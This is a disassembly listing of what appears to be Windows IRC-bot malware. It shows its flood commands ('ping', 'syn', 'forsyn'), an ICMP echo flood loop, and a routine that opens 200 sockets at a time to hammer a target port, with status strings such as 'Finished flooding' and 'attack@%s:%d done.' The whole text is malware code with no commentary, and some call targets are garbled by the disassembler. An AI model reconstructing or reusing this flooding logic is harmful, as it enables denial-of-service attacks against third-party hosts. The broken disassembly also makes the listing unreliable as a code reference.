call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
xor ebp, ebp
cmp eax, ebp
mov [esp+4Ch], ebp
jz short loc_426F2B
mov ecx, eax
call sub_401DF2
mov ebp, eax
loc_426F2B: ; CODE XREF: ___:00426F20j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 1
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 2
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FDC
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013DE
mov ebp, [esp+54h]
loc_427058: ; CODE XREF: ___:00426F01j
lea ecx, [ebx+8Eh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4271CA
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_42709B
mov ecx, eax
call sub_401BDB
mov ebp, eax
jmp short loc_42709D
; ---------------------------------------------------------------------------
loc_42709B: ; CODE XREF: ___:0042708Ej
xor ebp, ebp
loc_42709D: ; CODE XREF: ___:00427099j
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4271CA: ; CODE XREF: ___:0042706Dj
lea ecx, [ebx+4]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_427339
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_42720A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_42720C
; ---------------------------------------------------------------------------
loc_42720A: ; CODE XREF: ___:004271FDj
xor ebp, ebp
loc_42720C: ; CODE XREF: ___:00427208j
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013DE
mov ebp, [esp+54h]
loc_427339: ; CODE XREF: ___:004271DCj
lea ecx, [ebx+32h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4274E4
push 95h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_427379
mov ecx, eax
call sub_40178F
mov ebp, eax
jmp short loc_42737B
; ---------------------------------------------------------------------------
loc_427379: ; CODE XREF: ___:0042736Cj
xor ebp, ebp
loc_42737B: ; CODE XREF: ___:00427377j
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016B8
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FDC
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013DE
mov ebp, [esp+54h]
loc_4274E4: ; CODE XREF: ___:0042734Bj
lea ecx, [ebx+0EAh]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_427501
mov [ebx+11Ch], al
loc_427501: ; CODE XREF: ___:004274F9j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4276C0 proc near ; CODE XREF: sub_401A78j
var_4 = dword ptr -4
push ecx
mov edx, dword_449A14
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4276E1
inc ecx
mov [eax+118h], ecx
loc_4276E1: ; CODE XREF: sub_4276C0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E8EAB
call sub_40120D
sub_4276C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427740 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427740
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F0DC
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427740 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4277B0 proc near ; CODE XREF: sub_401F9Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4277B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4277B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427850 proc near ; CODE XREF: sub_4014CEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427850
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427850 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427910: ; CODE XREF: ___:loc_4016DBj
; ___:0040219Ej
push esi
mov esi, ecx
call sub_4014CE
test byte ptr [esp+8], 1
jz short loc_427928
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427928: ; CODE XREF: ___:0042791Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4020AE
test [esp+4+arg_0], 1
jz short loc_427958
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427958: ; CODE XREF: sub_427940+Dj
mov eax, esi
pop esi
retn 4
sub_427940 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427970 proc near ; CODE XREF: sub_4020AEj
jmp sub_4014CE
sub_427970 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427990 proc near ; CODE XREF: sub_401A50j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427990
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_40142E
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014DD
push eax
call sub_40183E
add esp, 10h
test eax, eax
jz short loc_427A54
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_427A6E
; ---------------------------------------------------------------------------
loc_427A54: ; CODE XREF: sub_427990+9Aj
mov ecx, ebx
call sub_4017EE
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_427A6E: ; CODE XREF: sub_427990+C2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_427990 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427B10 proc near ; CODE XREF: sub_401E9Cj
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_437B30
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27E08BCh
mov esi, eax
test esi, esi
jz short loc_427B7A
mov edi, dword_511918
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_51012C, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_510130, eax
call edi
mov ecx, dword_51012C
mov dword_510128, eax
test ecx, ecx
jz short loc_427B7A
mov edx, dword_510130
test edx, edx
jz short loc_427B7A
test eax, eax
jz short loc_427B7A
mov al, [esp+0Bh]
test al, al
jz short loc_427B85
loc_427B7A: ; CODE XREF: sub_427B10+1Bj
; sub_427B10+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_427B85: ; CODE XREF: sub_427B10+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_427B9C
mov [esp+24h+arg_FFE8], eax
loc_427B9C: ; CODE XREF: sub_427B10+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_427BAF
mov ebp, 1
loc_427BAF: ; CODE XREF: sub_427B10+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_427BF4
loc_427BC0: ; CODE XREF: sub_427B10+E2j
mov al, byte_4D84C9
test al, al
jz short loc_427BF4
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_510128 ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_427BC0
loc_427BF4: ; CODE XREF: sub_427B10+AEj
; sub_427B10+B7j
push edi
call dword_510130 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_427B10 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C50 proc near ; CODE XREF: sub_40183Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40188E
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E9C
add esp, 14h
retn
sub_427C50 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427C90 proc near ; CODE XREF: sub_401BDBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset nullsub_10
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_427C90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_427D00: ; CODE XREF: ___:00401A28j
; ___:00401AC3j
push esi
mov esi, ecx
call sub_401807
test byte ptr [esp+8], 1
jz short loc_427D18
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_427D18: ; CODE XREF: ___:00427D0Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_427D30 proc near ; CODE XREF: sub_401807j
jmp sub_4014CE
sub_427D30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427D50 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_427D50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E7D9F
mov [esp+2Ch+var_28], eax
loc_427D76: ; CODE XREF: sub_427D50+35j
cmp dword ptr [ecx], 0
jz short loc_427D87
add ecx, 78h
inc eax
cmp ecx, offset byte_4E86FF
jl short loc_427D76
loc_427D87: ; CODE XREF: sub_427D50+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_427F39
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E7D2Bh[eax*8]
call sub_4017EE
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_427DF0
mov dword ptr [ebp+68h], 5
loc_427DF0: ; CODE XREF: sub_427D50+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_510138
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_510338
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 2790000h
test eax, eax
mov dword_51033C, eax
jz short loc_427E8B
push offset dword_448F44
push 5
push eax
push 0
push offset dword_510138
call sub_4013F2
add esp, 14h
mov [ebp+70h], eax
jmp short loc_427EBB
; ---------------------------------------------------------------------------
loc_427E8B: ; CODE XREF: sub_427D50+11Dj
mov ecx, esi
call sub_4017EE
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014DD
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_427EBB: ; CODE XREF: sub_427D50+139j
lea ecx, [esp+38h+var_24]
call sub_40142E
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017EE
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014DD
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_427F39: ; CODE XREF: sub_427D50+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_427D50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_427FD0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E7D2Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
nop
call near ptr 71AB2B66h
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428066
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_42805F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8745[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_42805F: ; CODE XREF: sub_427FD0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428066: ; CODE XREF: sub_427FD0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_428116
mov ebx, dword_511C3C
loc_428085: ; CODE XREF: sub_427FD0+140j
mov al, byte_4D84C9
test al, al
jz loc_428116
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_42809B: ; CODE XREF: sub_427FD0+EFj
push 0
push 1
push 2
call ebx ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4280BB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_4280BB: ; CODE XREF: sub_427FD0+D8j
add esi, 4
dec edi
jnz short loc_42809B
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280CA: ; CODE XREF: sub_427FD0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_4280CA
mov ecx, [ebp+68h]
push ecx
call near ptr 2830000h
nop
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_4280F3: ; CODE XREF: sub_427FD0+130j
mov edx, [esi]
push edx
call near ptr 71AB9639h
nop
add esi, 4
dec edi
jnz short loc_4280F3
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_428085
loc_428116: ; CODE XREF: sub_427FD0+A9j
; sub_427FD0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D8745[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_427FD0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4281A0 proc near ; CODE XREF: sub_401DF2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4281A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F10C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4281A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_428228
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428228: ; CODE XREF: sub_428210+Dj
mov eax, esi
pop esi
retn 4
sub_428210 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
